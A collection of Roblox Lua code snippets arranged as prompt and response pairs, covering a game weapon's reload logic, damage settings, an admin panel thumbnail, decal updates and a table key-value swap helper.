		ReloadFunction()
	end

	if W1 then W1:Destroy() end
	if W2 then W2:Destroy() end
	for _, Mag in pairs(Mag_Parts) do
		Mag.Clone1:Destroy()
		Mag.Clone2:Destroy()
	end
end

function Reload()
	Running = false
	if Ammo.Value < ClipSize.Value and (not Reloading) and StoredAmmo.Value > 0 then
		AmmoInClip = (AmmoInClip == 0 and Ammo.Value or AmmoInClip)
		Ammo.Value = 0
		Reloading = true
		if Aimed then UnAimGun(S.ReloadAnimation) end
		Gui_Clone.CrossHair.Reload.Visible = true
		if Handle:FindFirstChild("ReloadSound") then Handle.ReloadSound:Play() end
		if S.ReloadAnimation then
			wait()
			ReloadAnim()
		else
			local StartReload = tick()
			while true do
				if BreakReload then break end
				if (tick() - StartReload) >= S.ReloadTime then break end
				RS:wait()
			end
		end
		if (not BreakReload) then
			if StoredAmmo.Value >= ClipSize.Value then
				Ammo.Value = ClipSize.Value
				if AmmoInClip > 0 then
					StoredAmmo.Value = StoredAmmo.Value - (ClipSize.Value - AmmoInClip)
				else
					StoredAmmo.Value = StoredAmmo.Value - ClipSize.Value
				end
			elseif StoredAmmo.Value < ClipSize.Value and StoredAmmo.Value > 0 then
				Ammo.Value = StoredAmmo.Value
				StoredAmmo.Value = 0
			end
		end
		BreakReload = false
		Reloading = false
		if Selected then
			AmmoInClip = 0
			Gui_Clone.CrossHair.Reload.Visible = false
		end
	end
end


Prompt:
--[[

		SCRIPT VERSION:
			1, 10/19/21

		CURRENT ISSUE:
			Nothing

--]]

Response:
if not game.Loaded or not workspace:FindFirstChild("Terrain") then
	game.Loaded:Wait();
	game:GetService("Players").LocalPlayer.CharacterAdded:Wait();
end;

local Players = game:GetService("Players")
local Player = Players.LocalPlayer;

local Screen = script.Parent.Parent.Parent.Leveled.Admin;
local Sidebar = Screen.Sidebar.Inside;

Sidebar.UserThumbnail.Image = Players:GetUserThumbnailAsync(Player.UserId, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size420x420);


Response:
game.Workspace.crewview1.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.crew1.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.crew2.Decal.Texture = game.Workspace.Screens.Main.Value
game.Workspace.crew3.Decal.Texture = game.Workspace.Screens.Main.Value


Prompt: --// Damage Settings

Response:
	BaseDamage = 42; -- Torso Damage
	LimbDamage = 33; -- Arms and Legs
	ArmorDamage = 33; -- How much damage is dealt against armor (Name the armor "Armor")
	HeadDamage = 61; -- If you set this to 100, there's a chance the player won't die because of the heal script


Prompt:
--[=[
	Swaps keys with values, overwriting additional values if duplicated.

	@param orig table -- Original table
	@return table
]=]

Response:
function Table.swapKeyValue(orig)
	local tab = {}
	for key, val in pairs(orig) do
		tab[val] = key
	end
	return tab
end